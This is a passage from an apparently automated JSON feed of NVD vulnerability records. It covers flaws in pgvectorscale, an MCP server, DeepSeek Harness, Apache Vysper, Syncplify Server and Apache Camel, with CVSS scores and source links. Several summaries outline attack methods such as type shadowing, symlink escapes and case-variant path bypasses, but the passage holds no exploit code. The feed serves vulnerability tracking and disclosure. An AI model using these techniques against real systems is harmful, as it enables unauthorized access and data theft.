2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116489","cveId":"CVE-2026-116489","aliases":[],"kind":"vulnerability","title":"Timescale pgvectorscale before 0.9.1 contains a type confusion vulnerability that allows low-privileged database users to corrupt memory by shadowing pgvector's vector type or...","summary":"Timescale pgvectorscale before 0.9.1 contains a type confusion vulnerability that allows low-privileged database users to corrupt memory by shadowing pgvector's vector type or operators. Attackers with CREATE privilege on the vectorscale schema can pre-create shadow objects, then build and query DiskANN indexes over crafted values to cause out-of-bounds reads and writes, disclosing memory, crashing the server, or escalating privileges.","detail":"Timescale pgvectorscale before 0.9.1 contains a type confusion vulnerability that allows low-privileged database users to corrupt memory by shadowing pgvector's vector type or operators. Attackers with CREATE privilege on the vectorscale schema can pre-create shadow objects, then build and query DiskANN indexes over crafted values to cause out-of-bounds reads and writes, disclosing memory, crashing the server, or escalating privileges.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T16:17:18.690Z","updatedAt":"2026-10-26T16:17:18.690Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116489","asOf":"2026-10-26T16:17:18.690Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116489","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116489","type":"primary","publishedAt":"2026-10-26T16:17:18.690Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116369","cveId":"CVE-2026-116369","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in Sunwood-ai-labs github-kanban-mcp-server up to 0.4.0. Impacted is the function handleListIssues of the file src/handlers/issue-handlers.ts.","summary":"A vulnerability was identified in Sunwood-ai-labs github-kanban-mcp-server up to 0.4.0. Impacted is the function handleListIssues of the file src/handlers/issue-handlers.ts. Such manipulation of the argument state/labels leads to os command injection. The attack can be launched remotely. Upgrading to version 0.4.1 is recommended to address this issue. The name of the patch is 253d93bbdf7ee9fe42bd8fdf15feea93ae59cbae. It is suggested to upgrade the affected component.","detail":"A vulnerability was identified in Sunwood-ai-labs github-kanban-mcp-server up to 0.4.0. Impacted is the function handleListIssues of the file src/handlers/issue-handlers.ts. Such manipulation of the argument state/labels leads to os command injection. The attack can be launched remotely. Upgrading to version 0.4.1 is recommended to address this issue. The name of the patch is 253d93bbdf7ee9fe42bd8fdf15feea93ae59cbae. It is suggested to upgrade the affected component.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T16:17:18.360Z","updatedAt":"2026-10-26T16:17:18.360Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116369","asOf":"2026-10-26T16:17:18.360Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116369","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116369","type":"primary","publishedAt":"2026-10-26T16:17:18.360Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116368","cveId":"CVE-2026-116368","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in DeepSeek Harness up to 0.2.0-rc.2. This issue affects some unknown processing of the file packages/client/connection/src/browser-auth.ts of the...","summary":"A vulnerability was determined in DeepSeek Harness up to 0.2.0-rc.2. This issue affects some unknown processing of the file packages/client/connection/src/browser-auth.ts of the component Browser Auth. This manipulation causes improper authorization. The attack can be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was determined in DeepSeek Harness up to 0.2.0-rc.2. This issue affects some unknown processing of the file packages/client/connection/src/browser-auth.ts of the component Browser Auth. This manipulation causes improper authorization. The attack can be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T16:17:18.183Z","updatedAt":"2026-10-26T16:17:18.183Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116368","asOf":"2026-10-26T16:17:18.183Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116368","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116368","type":"primary","publishedAt":"2026-10-26T16:17:18.183Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116367","cveId":"CVE-2026-116367","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in DeepSeek Harness up to 0.1.0-rc.5. This vulnerability affects the function createContext of the file...","summary":"A vulnerability was found in DeepSeek Harness up to 0.1.0-rc.5. This vulnerability affects the function createContext of the file packages/extensions/cordis-host-runner/src/sandbox.ts. The manipulation results in sandbox issue. It is possible to launch the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was found in DeepSeek Harness up to 0.1.0-rc.5. This vulnerability affects the function createContext of the file packages/extensions/cordis-host-runner/src/sandbox.ts. The manipulation results in sandbox issue. It is possible to launch the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T16:17:17.977Z","updatedAt":"2026-10-26T16:17:17.977Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116367","asOf":"2026-10-26T16:17:17.977Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116367","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116367","type":"primary","publishedAt":"2026-10-26T16:17:17.977Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115748","cveId":"CVE-2026-115748","aliases":[],"kind":"vulnerability","title":"**UNSUPPORTED WHEN ASSIGNED**  Authorization bypass in Apache Vysper, all versions.","summary":"**UNSUPPORTED WHEN ASSIGNED**  Authorization bypass in Apache Vysper, all versions.\n\n\n\n\nApache Vysper is an XMPP (Jabber) server library. Its XEP-0077 (In-Band Registration) implementation is missing an authentication check, allowing any authenticated user to compromise other accounts.\n\n\n\n\nAs this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative.","detail":"**UNSUPPORTED WHEN ASSIGNED**  Authorization bypass in Apache Vysper, all versions.\n\n\n\n\nApache Vysper is an XMPP (Jabber) server library. Its XEP-0077 (In-Band Registration) implementation is missing an authentication check, allowing any authenticated user to compromise other accounts.\n\n\n\n\nAs this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T16:17:17.833Z","updatedAt":"2026-10-26T16:54:34.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115748","asOf":"2026-10-26T16:54:34.940Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115748","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115748","type":"primary","publishedAt":"2026-10-26T16:17:17.833Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115721","cveId":"CVE-2026-115721","aliases":[],"kind":"vulnerability","title":"**UNSUPPORTED WHEN ASSIGNED**  Unbounded allocation in XML parsing in Apache Vysper; all versions, may lead to an out of memory condition.","summary":"**UNSUPPORTED WHEN ASSIGNED**  Unbounded allocation in XML parsing in Apache Vysper; all versions, may lead to an out of memory condition.\n\n\n\n\nThis issue affects all versions of Apache Vysper. Apache Vysper is an XMPP (Jabber) server library.\n\n\n\n\nAs this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative.","detail":"**UNSUPPORTED WHEN ASSIGNED**  Unbounded allocation in XML parsing in Apache Vysper; all versions, may lead to an out of memory condition.\n\n\n\n\nThis issue affects all versions of Apache Vysper. Apache Vysper is an XMPP (Jabber) server library.\n\n\n\n\nAs this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T16:17:17.673Z","updatedAt":"2026-10-26T16:54:34.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115721","asOf":"2026-10-26T16:54:34.940Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115721","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115721","type":"primary","publishedAt":"2026-10-26T16:17:17.673Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112344","cveId":"CVE-2026-112344","aliases":[],"kind":"vulnerability","title":"Syncplify Server!","summary":"Syncplify Server! before 8.8.0 contains a path traversal vulnerability that allows attackers with a symbolic link placed inside a user's home folder to access files outside the virtual filesystem root because confinement is enforced only against the requested path and not the on-disk destination of the link. Attackers can leverage a symlink or, on Windows, a directory junction that points outside the jail to read or access restricted files beyond the intended home-folder boundary.","detail":"Syncplify Server! before 8.8.0 contains a path traversal vulnerability that allows attackers with a symbolic link placed inside a user's home folder to access files outside the virtual filesystem root because confinement is enforced only against the requested path and not the on-disk destination of the link. Attackers can leverage a symlink or, on Windows, a directory junction that points outside the jail to read or access restricted files beyond the intended home-folder boundary.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T16:17:13.963Z","updatedAt":"2026-10-26T17:13:18.183Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112344","asOf":"2026-10-26T17:13:18.183Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112344","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112344","type":"primary","publishedAt":"2026-10-26T16:17:13.963Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112343","cveId":"CVE-2026-112343","aliases":[],"kind":"vulnerability","title":"Syncplify Server!","summary":"Syncplify Server! before 8.8.0 contains an access control bypass vulnerability that allows authenticated SFTP users to evade per-path permission overrides by exploiting case-insensitive filesystem path resolution and 8.3 short names. Attackers can address a protected directory using alternate capitalization or its 8.3 short name to perform file uploads and downloads that the configured override is intended to deny, resulting in unauthorized file access.","detail":"Syncplify Server! before 8.8.0 contains an access control bypass vulnerability that allows authenticated SFTP users to evade per-path permission overrides by exploiting case-insensitive filesystem path resolution and 8.3 short names. Attackers can address a protected directory using alternate capitalization or its 8.3 short name to perform file uploads and downloads that the configured override is intended to deny, resulting in unauthorized file access.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T16:17:13.797Z","updatedAt":"2026-10-26T17:13:18.183Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112343","asOf":"2026-10-26T17:13:18.183Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112343","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112343","type":"primary","publishedAt":"2026-10-26T16:17:13.797Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-90885","cveId":"CVE-2026-90885","aliases":[],"kind":"vulnerability","title":"Improper Restriction of XML External Entity Reference vulnerability in Apache Camel Saxon component.","summary":"Improper Restriction of XML External Entity Reference vulnerability in Apache Camel Saxon component.\n\n\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.2.\n\n\n\nXQueryBuilder in camel-saxon, which evaluates expressions for the xquery language and the xquery component, built its default Saxon Configuration with parse options that set only a whitespace stripping rule, leaving the XML parser at its defaults, under which a DOCTYPE declaration is accepted and external entities are resolved. A message body of type String or byte[], or any body read as an InputStream, is first turned into a javax.xml.transform.Source by Camel's own XML type converters, which configure 